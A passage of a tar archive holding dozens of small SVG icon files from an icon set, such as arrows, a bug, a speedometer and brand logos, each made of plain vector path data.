51.6-15.8 61.6-4.7 17.3-14 34.5-22.5 48 20.1 5.9 41.4 9.2 63.5 9.2 123.7 0 224-100.3 224-224C480 132.3 379.7 32 256 32z"/></svg>collection/icon/svg/ios-arrow-round-forward.svg000064400000000520151701353760015665 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M295.6 163.7c-5.1 5-5.1 13.3-.1 18.4l60.8 60.9H124.9c-7.1 0-12.9 5.8-12.9 13s5.8 13 12.9 13h231.3l-60.8 60.9c-5 5.1-4.9 13.3.1 18.4 5.1 5 13.2 5 18.3-.1l82.4-83c1.1-1.2 2-2.5 2.7-4.1.7-1.6 1-3.3 1-5 0-3.4-1.3-6.6-3.7-9.1l-82.4-83c-4.9-5.2-13.1-5.3-18.2-.3z"/></svg>collection/icon/svg/md-bug.svg000064400000000713151701353760012333 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 160h-67.4c-10.8-18.7-25.7-34.8-43.7-47L376 73.8 342.2 40l-52.1 52.1C279 89.4 267.8 88 256 88s-23 1.4-33.8 4.1L169.8 40 136 73.8l38.9 39.1c-17.8 12.2-32.6 28.3-43.4 47H64v48h50.2c-1.2 7.9-2.2 15.8-2.2 24v24H64v48h48v24c0 8.2 1 16.1 2.2 24H64v48h67.4c25 43 71.3 72 124.6 72s99.6-29 124.6-72H448v-48h-50.2c1.2-7.9 2.2-15.8 2.2-24v-24h48v-48h-48v-24c0-8.2-1-16.1-2.2-24H448V160z"/></svg>collection/icon/svg/md-redo.svg000064400000000372151701353760012510 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 337.2L83.8 352c22.9-69.7 88.7-117.8 166-117.8 42.8 0 81.5 15.7 111.8 41.1L282.5 352H480V160l-79.6 76.3c-40.4-35.2-92.8-56.8-150.7-56.8-101.5.1-187.3 66.2-217.7 157.7z"/></svg>collection/icon/svg/ios-speedometer.svg000064400000001762151701353760014271 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C132.3 64 32 164.2 32 287.9c0 57 21.3 109 56.3 148.5 1.1 1.2 2.1 2.4 3.2 3.5C96.3 445 103 448 110 448c7.1 0 13.8-3 18.6-8.2 31.6-34.4 77-55.9 127.4-55.9s95.8 21.6 127.4 55.9c4.8 5.2 11.5 8.2 18.6 8.2 7 0 13.7-2.9 18.5-8.1 1.1-1.2 2.1-2.3 3.2-3.5 35-39.5 56.3-91.5 56.3-148.5C480 164.2 379.7 64 256 64zm-14 45.9c0-7.7 6.3-14 14-14s14 6.3 14 14v36c0 7.7-6.3 14-14 14s-14-6.3-14-14v-36zm-128 192H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm51.5-104.5c-5.4 5.4-14.4 5.4-19.8 0L120.2 172c-5.4-5.4-5.4-14.4 0-19.8s14.4-5.4 19.8 0l25.5 25.5c5.4 5.4 5.4 14.3 0 19.7zm160.6 34.5l-47.5 75.5c-1.9 2.6-4.3 5.1-7 7-13.5 9.7-32.3 6.5-42-7s-6.5-32.3 7-42l75.5-47.5c3.4-2.4 8.1-2.5 11.7 0 4.5 3.2 5.5 9.5 2.3 14zm40.2-34.5c-5.4 5.4-14.4 5.4-19.8 0s-5.4-14.4 0-19.8l25.5-25.5c5.4-5.4 14.4-5.4 19.8 0s5.4 14.4 0 19.8l-25.5 25.5zM434 301.9h-36c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>collection/icon/svg/md-resize.svg000064400000000247151701353760013061 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M297.6 48l64.9 64.9-249.6 249.6L48 297.6V464h166.4l-64.9-64.9 249.6-249.6 64.9 64.9V48z"/></svg>collection/icon/svg/md-code-download.svg000064400000000450151701353760014273 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M234.6 160v125.7l-44.7-43.6L160 272l96 96 96-96-29.9-31-44.7 44.7V160h-42.8z"/><path d="M190.4 354.1L91.9 256l98.4-98.1-30-29.9L32 256l128.4 128 30-29.9zm131.2 0L420 256l-98.4-98.1 30-29.9L480 256 351.6 384l-30-29.9z"/></svg>collection/icon/svg/md-sunny.svg000064400000000737151701353760012740 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.3 32h-42.7v64h42.7V32zm129.1 43.7L368 114.1l29.9 29.9 38.4-38.4-29.9-29.9zm-300.8 0l-29.9 29.9 38.4 38.4 29.9-29.9-38.4-38.4zM256 128c-70.4 0-128 57.6-128 128s57.6 128 128 128 128-57.6 128-128-57.6-128-128-128zm224 106.7h-64v42.7h64v-42.7zm-384 0H32v42.7h64v-42.7zM397.9 368L368 397.9l38.4 38.4 29.9-29.9-38.4-38.4zm-283.8 0l-38.4 38.4 29.9 29.9 38.4-38.4-29.9-29.9zm163.2 48h-42.7v64h42.7v-64z"/></svg>collection/icon/svg/md-git-compare.svg000064400000001264151701353760013767 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 382h-22c-24.6 0-29-3.6-33.8-9.6-5.5-6.9-8.2-19.1-8.2-54.2V151.4c19.1-11.1 32-31.7 32-55.4 0-35.3-28.7-64-64-64S32 60.7 32 96c0 23.7 12.9 44.3 32 55.4v166.8c0 46.4 3.7 70.8 22.1 94 19.9 25.1 45 35.8 83.9 35.8h22v64l96-96-96-96v62zM96 56c22.1 0 40 17.9 40 40s-17.9 40-40 40-40-17.9-40-40 17.9-40 40-40zM448 360.6V190.8c0-46.4-3.7-70.8-22.1-94C406 71.7 380.9 62 342 62h-22V0l-96 96 96 96v-64h22c24.6 0 29 2.6 33.8 8.6 5.5 6.9 8.2 19.1 8.2 54.2v169.8c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4zM416 456c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>collection/icon/svg/ios-gift.svg000064400000001147151701353760012703 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432 136h-84.3c12.4-11 20.3-26.6 20.3-44 0-33.1-28.3-60-63.1-60-20.6 0-37.9 9.7-48.9 27.4C245 41.7 227.7 32 207.1 32 172.3 32 144 58.9 144 92c0 17.4 7.8 33 20.3 44H80c-17.7 0-32 14.3-32 32v20c0 2.2 1.8 4 4 4h408c2.2 0 4-1.8 4-4v-20c0-17.7-14.3-32-32-32zM304.9 60c18.6 0 33.7 14.3 33.7 32s-15.1 32-33.7 32h-33.7c0-48 15.1-64 33.7-64zm-97.8 0c18.6 0 33.7 16 33.7 64h-33.7c-18.6 0-33.7-14.3-33.7-32s15.1-32 33.7-32zM64 226v222c0 17.6 14.4 32 32 32h146V218H72c-4.4 0-8 3.6-8 8zM440 218H270v262h146c17.6 0 32-14.4 32-32V226c0-4.4-3.6-8-8-8z"/></svg>collection/icon/svg/ios-navigate.svg000064400000000304151701353760013542 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm0 336V256H128.3L352 160l-96 224z"/></svg>collection/icon/svg/md-locate.svg000064400000001154151701353760013025 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 176c-44.004 0-80.001 36-80.001 80 0 44.004 35.997 80 80.001 80 44.005 0 79.999-35.996 79.999-80 0-44-35.994-80-79.999-80zm190.938 58.667c-9.605-88.531-81.074-160-169.605-169.599V32h-42.666v33.067c-88.531 9.599-160 81.068-169.604 169.599H32v42.667h33.062c9.604 88.531 81.072 160 169.604 169.604V480h42.666v-33.062c88.531-9.604 160-81.073 169.605-169.604H480v-42.667h-33.062zM256 405.333c-82.137 0-149.334-67.198-149.334-149.333 0-82.136 67.197-149.333 149.334-149.333 82.135 0 149.332 67.198 149.332 149.333S338.135 405.333 256 405.333z"/></svg>collection/icon/svg/md-document.svg000064400000000323151701353760013371 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M288 48H136c-22.092 0-40 17.908-40 40v336c0 22.092 17.908 40 40 40h240c22.092 0 40-17.908 40-40V176L288 48zm-16 144V80l112 112H272z"/></svg>collection/icon/svg/md-radio-button-off.svg000064400000000453151701353760014736 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.601 48 48 141.601 48 256s93.601 208 208 208 208-93.601 208-208S370.399 48 256 48zm0 374.399c-91.518 0-166.399-74.882-166.399-166.399S164.482 89.6 256 89.6 422.4 164.482 422.4 256 347.518 422.399 256 422.399z"/></svg>collection/icon/svg/logo-foursquare.svg000064400000001643151701353760014315 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376.764 32H138.541C105.666 32 96 56.798 96 72.414v379.64c0 17.591 9.425 24.117 14.718 26.267 5.299 2.155 19.916 3.971 28.673-6.168 0 0 112.469-130.895 114.4-132.834 2.921-2.93 2.921-2.93 5.844-2.93h72.767c30.574 0 35.49-21.869 38.684-34.752 2.659-10.789 32.489-163.962 42.452-212.559C421.143 51.993 411.745 32 376.764 32zm-5.678 269.637c2.659-10.789 32.489-163.962 42.452-212.559m-50.846 7.592l-9.999 51.734c-1.195 5.65-8.287 11.595-14.863 11.595h-95.917C231.473 160 224 166.138 224 176.602v13.448c0 10.473 7.519 17.894 17.965 17.894h81.848c7.374 0 14.61 8.109 13.016 16.005-1.602 7.908-9.086 46.569-9.984 50.89-.902 4.328-5.845 11.725-14.611 11.725h-64.269c-11.705 0-15.244 1.533-23.074 11.293-7.837 9.77-78.256 94.592-78.256 94.592-.713.822-1.41.584-1.41-.312V95.896c0-6.684 5.793-14.523 14.479-14.523h191.173c7.035-.001 13.611 6.631 11.815 15.297z"/></svg>collection/icon/svg/md-expand.svg000064400000000346151701353760013037 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396.795 396.8H320V448h128V320h-51.205zM396.8 115.205V192H448V64H320v51.205zM115.205 115.2H192V64H64v128h51.205zM115.2 396.795V320H64v128h128v-51.205z"/></svg>collection/icon/svg/md-checkmark-circle-outline.svg000064400000000613151701353760016421 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M170.718 216.482L141.6 245.6l93.6 93.6 208-208-29.118-29.118L235.2 279.918l-64.482-63.436zM422.4 256c0 91.518-74.883 166.4-166.4 166.4S89.6 347.518 89.6 256 164.482 89.6 256 89.6c15.6 0 31.2 2.082 45.764 6.241L334 63.6C310.082 53.2 284.082 48 256 48 141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208h-41.6z"/></svg>collection/icon/svg/ios-notifications-outline.svg000064400000001721151701353760016276 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M289.7 403c-6.1 0-11.4 4.2-12.7 10.2-1 4.5-2.7 8.2-5 10.9-1.3 1.5-5.1 5.9-16.1 5.9-11 0-14.8-4.5-16.1-5.9-2.3-2.7-4-6.4-5-10.9-1.3-6-6.6-10.2-12.7-10.2-8.4 0-14.5 7.8-12.7 15.9 5 22.3 21 37.1 46.5 37.1s41.5-14.7 46.5-37.1c1.8-8.1-4.4-15.9-12.7-15.9zM412 352.2c-15.4-20.3-45.7-32.2-45.7-123.1 0-93.3-41.2-130.8-79.6-139.8-3.6-.9-6.2-2.1-6.2-5.9v-2.9c0-13.3-10.8-24.6-24-24.6h-.6c-13.2 0-24 11.3-24 24.6v2.9c0 3.7-2.6 5-6.2 5.9-38.5 9.1-79.6 46.5-79.6 139.8 0 90.9-30.3 102.7-45.7 123.1-9.9 13.1-.5 31.8 15.9 31.8h280.1c16.1 0 25.4-18.8 15.6-31.8zm-39 5.8H139.8c-3.8 0-5.8-4.4-3.3-7.3 7-8 14.7-18.5 21-33.4 9.6-22.6 14.3-51.5 14.3-88.2 0-37.3 7-66.5 20.9-86.8 12.4-18.2 27.9-25.1 38.7-27.6 8.4-2 14.4-5.8 18.6-10.5 3.2-3.6 8.7-3.8 11.9-.2 5.1 5.7 12 9.1 18.8 10.7 10.8 2.5 26.3 9.4 38.7 27.6 13.9 20.3 20.9 49.5 20.9 86.8 0 36.7 4.7 65.6 14.3 88.2 6.5 15.2 14.4 25.9 21.5 33.9 2.2 2.7.4 6.8-3.1 6.8z"/></svg>collection/icon/svg/ios-rose.svg000064400000001257151701353760012724 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 141.1c-18.9 3.9-36.8 8.2-53.7 12.8-40.5 11-75.5 24.9-105.4 38.2-19.3 8.6-26.2 12.4-51.5 25.9C147 248.9 112 289 112 349c0 67.8 55.6 115 144 115s144-51.2 144-119c0-67.7-61-114.7 16-203.9zM135.4 241.8c12.8-10.5 31.2-23.9 56.1-38.4 6.4-3.8 13.3-7.6 20.6-11.4 11.6-6.1 23.5-11.9 35.8-17.4-9.1-10.1-22.1-19.1-36.6-27C162.6 121.1 96 107.4 96 107.4c41.5 43.7 44.6 96.5 39.4 134.4zM352 77.7s-73.8-.9-125.8 55c0 0 27.7 17.3 42.7 32.3 37.2-15.6 82.3-28.6 115.2-36-6.5-21.7-32.1-51.3-32.1-51.3zM239.7 97C210.3 59.5 176 48 176 48c-15.3 20.8-24.3 38-29 51.7 21.1 5.9 36.5 12.3 62.4 24.7 9.5-10.6 18.1-19.1 30.3-27.4z"/></svg>collection/icon/svg/md-body.svg000064400000000321151701353760012506 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c22 0 40 18 40 40s-18 40-40 40-40-18-40-40 18-40 40-40zm192 144.1H320V464h-42.7V320h-42.7v144H192V192.1H64v-42.7h384v42.7z"/></svg>collection/icon/svg/logo-whatsapp.svg000064400000002130151701353760013740 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M260.062 32C138.605 32 40.134 129.701 40.134 250.232c0 41.23 11.532 79.79 31.559 112.687L32 480l121.764-38.682c31.508 17.285 67.745 27.146 106.298 27.146C381.535 468.464 480 370.749 480 250.232 480 129.701 381.535 32 260.062 32zm109.362 301.11c-5.174 12.827-28.574 24.533-38.899 25.072-10.314.547-10.608 7.994-66.84-16.434-56.225-24.434-90.052-83.844-92.719-87.67-2.669-3.812-21.78-31.047-20.749-58.455 1.038-27.413 16.047-40.346 21.404-45.725 5.351-5.387 11.486-6.352 15.232-6.413 4.428-.072 7.296-.132 10.573-.011 3.274.124 8.192-.685 12.45 10.639 4.256 11.323 14.443 39.153 15.746 41.989 1.302 2.839 2.108 6.126.102 9.771-2.012 3.653-3.042 5.935-5.961 9.083-2.935 3.148-6.174 7.042-8.792 9.449-2.92 2.665-5.97 5.572-2.9 11.269 3.068 5.693 13.653 24.356 29.779 39.736 20.725 19.771 38.598 26.329 44.098 29.317 5.515 3.004 8.806 2.67 12.226-.929 3.404-3.599 14.639-15.746 18.596-21.169 3.955-5.438 7.661-4.373 12.742-2.329 5.078 2.052 32.157 16.556 37.673 19.551 5.51 2.989 9.193 4.529 10.51 6.9 1.317 2.38.901 13.531-4.271 26.359z"/></svg>collection/icon/svg/logo-chrome.svg000064400000002553151701353760013377 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M188.8 255.925c0 36.946 30.243 67.178 67.2 67.178s67.199-30.231 67.199-67.178c0-36.945-30.242-67.179-67.199-67.179s-67.2 30.234-67.2 67.179z"/><path d="M476.752 217.795c-.009.005-.016.038-.024.042-1.701-9.877-4.04-19.838-6.989-28.838h-.107c2.983 9 5.352 19 7.072 29h-.002c-1.719-10-4.088-20-7.07-29h-155.39c19.044 17 31.358 40.175 31.358 67.052 0 16.796-4.484 31.284-12.314 44.724L231.044 478.452s-.009.264-.014.264l-.01.284h.015l-.005-.262c8.203.92 16.531 1.262 24.97 1.262 6.842 0 13.609-.393 20.299-1.002a223.86 223.86 0 0 0 29.777-4.733C405.68 451.525 480 362.404 480 255.941c0-12.999-1.121-25.753-3.248-38.146z"/><path d="M256 345.496c-33.601 0-61.601-17.91-77.285-44.785L76.006 123.047l-.137-.236a223.516 223.516 0 0 0-25.903 45.123C38.407 194.945 32 224.686 32 255.925c0 62.695 25.784 119.36 67.316 160.009 29.342 28.719 66.545 49.433 108.088 58.619l.029-.051 77.683-134.604c-8.959 3.358-19.031 5.598-29.116 5.598z"/><path d="M91.292 104.575l77.35 133.25C176.483 197.513 212.315 166 256 166h205.172c-6.921-15-15.594-30.324-25.779-43.938.039.021.078.053.117.074C445.644 135.712 454.278 151 461.172 166h.172c-6.884-15-15.514-30.38-25.668-43.99-.115-.06-.229-.168-.342-.257C394.475 67.267 329.359 32 256 32c-26.372 0-51.673 4.569-75.172 12.936-34.615 12.327-65.303 32.917-89.687 59.406l.142.243.009-.01z"/></svg>collection/icon/svg/ios-add.svg000064400000000512151701353760012475 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368.5 240H272v-96.5c0-8.8-7.2-16-16-16s-16 7.2-16 16V240h-96.5c-8.8 0-16 7.2-16 16 0 4.4 1.8 8.4 4.7 11.3 2.9 2.9 6.9 4.7 11.3 4.7H240v96.5c0 4.4 1.8 8.4 4.7 11.3 2.9 2.9 6.9 4.7 11.3 4.7 8.8 0 16-7.2 16-16V272h96.5c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/></svg>collection/icon/svg/ios-musical-notes.svg000064400000001167151701353760014537 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M406.3 48.2c-4.7.9-202 39.2-206.2 40-4.2.8-8.1 3.6-8.1 8v240.1c0 1.6-.1 7.2-2.4 11.7-3.1 5.9-8.5 10.2-16.1 12.7-3.3 1.1-7.8 2.1-13.1 3.3-24.1 5.4-64.4 14.6-64.4 51.8 0 31.1 22.4 45.1 41.7 47.5 2.1.3 4.5.7 7.1.7 6.7 0 36-3.3 51.2-13.2 11-7.2 24.1-21.4 24.1-47.8V190.5c0-3.8 2.7-7.1 6.4-7.8l152-30.7c5-1 9.6 2.8 9.6 7.8v130.9c0 4.1-.2 8.9-2.5 13.4-3.1 5.9-8.5 10.2-16.2 12.7-3.3 1.1-8.8 2.1-14.1 3.3-24.1 5.4-64.4 14.5-64.4 51.7 0 33.7 25.4 47.2 41.8 48.3 6.5.4 11.2.3 19.4-.9s23.5-5.5 36.5-13c17.9-10.3 27.5-26.8 27.5-48.2V55.9c-.1-4.4-3.8-8.9-9.8-7.7z"/></svg>collection/icon/svg/logo-dribbble.svg000064400000001754151701353760013671 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C150 64 64 150 64 256c0 106.1 86 192 192 192s192-85.9 192-192c0-106-86-192-192-192zm121.9 88.5c21.6 25.4 35.3 57.6 37.7 92.9-34.6-1.8-76-1.8-109.2 1.3-4.2-10.6-8.5-21-13.2-31 38.3-16.6 67.8-38.4 84.7-63.2zM256 96c38.8 0 74.4 13.8 102.1 36.8-17.4 22-44.7 41.1-78.7 55.6-18.6-34.4-40-64-62.8-87.3 12.7-3.2 25.8-5.1 39.4-5.1zm-72.4 17.5c23.1 23 44.8 52.3 63.8 86.6-36.1 11-77.5 17.3-121.7 17.3-8.4 0-16.6-.3-24.7-.8 11.5-45.1 42-82.5 82.6-103.1zM96.3 248.4c9.1.4 18.3.6 27.6.5 50.4-.6 97.3-8.5 137.6-21.4 3.8 7.9 7.4 16 10.8 24.3-5.5 1.3-10.4 2.7-14.3 4.3-55.1 23.1-98.5 60.4-122 105.5-24.8-28.2-40-65.1-40-105.6 0-2.6.1-5.1.3-7.6zM256 416c-37 0-71-12.6-98.1-33.7 21.3-42.2 59.3-77.1 107.2-98.8 4.5-2.1 10.5-3.8 17.4-5.3 5.7 15.8 10.8 32.2 15.3 49.2 6.9 26.5 11.8 52.7 14.8 78.1C295 412.2 276 416 256 416zm86.5-25.5c-3-25.7-7.9-52.1-14.9-78.9-3.4-13-7.3-25.6-11.5-37.9 31.4-2.6 69-2.2 98.9 0-5.4 49.1-33 91.3-72.5 116.8z"/></svg>collection/icon/svg/ios-volume-high.svg000064400000002025151701353760014172 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M215.4 145.5c-2.2-1.1-4.6-1.6-6.9-1.6-3.6 0-7.1 1.2-10 3.5L133.3 200H80.5c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h52.8l65.2 52.5c2.9 2.3 6.5 3.5 10 3.5 2.3 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V160c0-6.2-3.5-11.8-9.1-14.5zM447.5 256c0-59.3-23.2-114.8-65.4-156.5-4.7-4.7-12.3-4.6-17 .1-4.7 4.7-4.6 12.3.1 17 37.6 37.1 58.2 86.6 58.2 139.4 0 52.8-20.7 102.3-58.2 139.4-4.7 4.7-4.8 12.3-.1 17 2.3 2.4 5.4 3.6 8.5 3.6 3 0 6.1-1.2 8.4-3.5 42.3-41.6 65.5-97.2 65.5-156.5z"/><path d="M384.9 256c0-43.5-16.6-84.3-46.8-114.9-4.7-4.7-12.3-4.8-17-.1-4.7 4.7-4.8 12.3-.1 17 25.7 26.1 39.9 60.9 39.9 98.1 0 37.2-14.2 72-39.9 98.1-4.7 4.7-4.6 12.3.1 17 2.3 2.3 5.4 3.5 8.4 3.5 3.1 0 6.2-1.2 8.5-3.6 30.2-30.8 46.9-71.6 46.9-115.1z"/><path d="M287.5 182.5c-4.7-4.7-12.3-4.8-17-.1-4.7 4.7-4.8 12.3-.1 17 14.8 15 23 35.1 23 56.6 0 21.4-8.2 41.5-23 56.6-4.7 4.7-4.6 12.3.1 17 2.3 2.3 5.4 3.5 8.4 3.5 3.1 0 6.2-1.2 8.5-3.6 19.3-19.6 29.9-45.6 29.9-73.4.1-27.9-10.5-54-29.8-73.6z"/></svg>collection/icon/svg/ios-at.svg000064400000001311151701353760012347 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 234.3c0 74.1-34.7 120.8-89.6 120.8-28.1 0-49.5-15-53.2-37.3h-4c-9.9 23.2-30.3 35.9-57.7 35.9-48.8 0-81.4-39.1-81.4-97.3 0-55.9 32.8-94.8 80.7-94.8 24.6 0 45.5 12.4 54.7 32.7h4v-27.8h39.9v129.3c0 16.1 8.9 25.8 24.9 25.8 27.7 0 45.3-33.6 45.3-85.8 0-83.3-62.4-139-154.6-139-91.2 0-156.2 66.5-156.2 160.6 0 96.2 64.3 157.6 164.4 157.6 19.6 0 39.3-1.7 54.4-4.6 9.8-1.8 18.8 5.6 18.8 15.5 0 7.3-5 13.7-12.1 15.4-18.2 4.3-40.1 6.8-62.7 6.8C141.9 448 64 372.8 64 256.1 64 142.2 143.5 64 259.4 64 370.8 64 448 133.5 448 234.3zm-242.8 23c0 37 17.4 59.4 45.7 59.4 29.8 0 48.6-23 48.6-59.4s-18.8-58.9-48.1-58.9c-29.1 0-46.2 21.8-46.2 58.9z"/></svg>collection/icon/svg/ios-eye-off.svg000064400000001727151701353760013310 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M88.3 68.1c-5.6-5.5-14.6-5.5-20.1.1-5.5 5.5-5.5 14.5 0 20l355.5 355.7c3.7 3.7 9 4.9 13.7 3.6 2.4-.6 4.6-1.9 6.4-3.7 5.5-5.5 5.5-14.5 0-20L88.3 68.1zM260.2 345.9c-53 2.4-96.6-41.2-94.1-94.1.6-12.2 3.6-23.8 8.6-34.3L121.3 164c-27.7 21.4-55.4 48.9-85.1 81.3-5.5 6.1-5.6 15.2-.1 21.3C101 338.3 158.2 400 255.8 400c29.7 0 57.1-7.4 82.3-19.2l-43.5-43.5c-10.6 5-22.2 8-34.4 8.6zM475.8 266c5.3-5.8 5.6-14.6.5-20.7C424 181.8 351.5 112 255.8 112c-29.1 0-56 6.6-82 19l43.7 43.7c10.5-5 22.1-8.1 34.3-8.6 53-2.4 96.6 41.2 94.1 94.1-.6 12.2-3.6 23.8-8.6 34.3l53.5 53.5c33-25.3 61.3-55.9 85-82z"/><path d="M192.2 260.9c2.4 31.3 27.6 56.5 58.9 58.9 8.2.6 16.1-.3 23.4-2.6l-79.8-79.8c-2.2 7.4-3.1 15.3-2.5 23.5zM320 256c0-1.3-.1-2.6-.1-3.9-5.6 2.5-11.7 3.9-18.2 3.9-1.1 0-2.1 0-3.1-.1l18.6 18.7c1.8-5.9 2.8-12.2 2.8-18.6zM256 209c0-6 1.1-11.7 3.1-16.9-1 0-2-.1-3.1-.1-6.4 0-12.6 1-18.5 2.8l18.7 18.7c-.1-1.5-.2-3-.2-4.5z"/></svg>collection/icon/svg/md-keypad.svg000064400000002111151701353760013025 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 398.5c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.3-18.2-40.7-40.5-40.7zM136.5 32C114.2 32 96 50.3 96 72.7s18.2 40.7 40.5 40.7S177 95.1 177 72.7 158.8 32 136.5 32zm0 122.2c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7-18.2-40.7-40.5-40.7zm0 122.2c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.4-18.2-40.7-40.5-40.7zm239-162.9c22.3 0 40.5-18.3 40.5-40.7S397.8 32 375.5 32 335 50.3 335 72.7s18.2 40.8 40.5 40.8zM256 276.4c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.4-18.2-40.7-40.5-40.7zm119.5 0c-22.3 0-40.5 18.3-40.5 40.7 0 22.4 18.2 40.7 40.5 40.7s40.5-18.3 40.5-40.7c0-22.4-18.2-40.7-40.5-40.7zm0-122.2c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7-18.2-40.7-40.5-40.7zm-119.5 0c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7-18.2-40.7-40.5-40.7zM256 32c-22.3 0-40.5 18.3-40.5 40.7s18.2 40.7 40.5 40.7 40.5-18.3 40.5-40.7S278.3 32 256 32z"/></svg>collection/icon/svg/ios-share.svg000064400000000666151701353760013061 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 176H269v146.6c0 7-5.4 13-12.4 13.4-7.5.4-13.6-5.6-13.6-13V176H136c-22 0-40 18-40 40v208c0 22 18 40 40 40h240c22 0 40-18 40-40V216c0-22-18-40-40-40zM269 92.1l47.9 47.2c5.1 5 13.3 5 18.4-.1 5-5.1 5-13.3-.1-18.4l-70-69c-2.5-2.4-5.8-3.7-9.1-3.7-1.7 0-3.4.3-5 1-1.5.6-2.9 1.6-4.1 2.7l-70 69c-5.1 5-5.2 13.3-.1 18.4 5 5.1 13.3 5.2 18.4.1L243 92.1V176h26V92.1z"/></svg>collection/icon/svg/md-trash.svg000064400000000360151701353760012675 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 405.429C128 428.846 147.198 448 170.667 448h170.667C364.802 448 384 428.846 384 405.429V160H128v245.429zM416 96h-80l-26.785-32H202.786L176 96H96v32h320V96z"/></svg>collection/icon/svg/md-color-wand.svg000064400000000507151701353760013624 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M200.8 157.2l-36.4 37.4L411.7 448l36.3-37.4zM181 64h37v68h-37zM181 262h37v68h-37zM270 176h69v37h-69zM305.6 115.8l-25.7-26.3-47.1 48.3 25.6 26.2zM168.8 137.8l-47.1-48.3-25.6 26.3 47.1 48.2zM96.1 277.9l25.6 26.2 47.1-48.2-25.6-26.3zM64 176h65v37H64z"/></svg>collection/icon/svg/ios-bonfire.svg000064400000002507151701353760013377 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M270.9 350.6c-.7-8.2-7.6-14.6-15.9-14.6-7.6 0-14 5.4-15.6 12.5L223.8 427c-.5 2.3-.8 4.6-.8 7 0 17.7 14.3 30 32 30s32-12.3 32-30c0-2.9-.4-5.7-1.1-8.4l-15-75zM305.9 355zM388.9 386.3c-1.7-1.4-3.3-2.9-5.1-3.9l-59.6-43.5c-5.8-3.8-12-3.7-16.5.9-4.1 4.1-4.7 10.4-1.7 15.4l45 61.8c.9 1.5 2.2 2.8 3.4 4.2 7.8 9.1 25.1 9.6 34.6 0 9.4-9.8 9.3-27.2-.1-34.9zM372.5 335zM435.4 320h-59.5c-3.9 0-7.4 2.2-8.1 6.2-.6 3.6 1.3 7.1 4.7 8.8h.1l57.7 17.8c8.3 1.9 17.7-5.5 17.7-14.8 0-11.8-4.8-18-12.6-18zM139.2 335zM139.2 335c3.3-1.6 5.3-5.2 4.7-8.8-.7-4-3.9-6.2-8.1-6.2H76.3c-7.6 0-12.3 8.3-12.3 17.6s9.1 17.1 17.4 15.2l57.7-17.8h.1zM187.9 338.8l-59.6 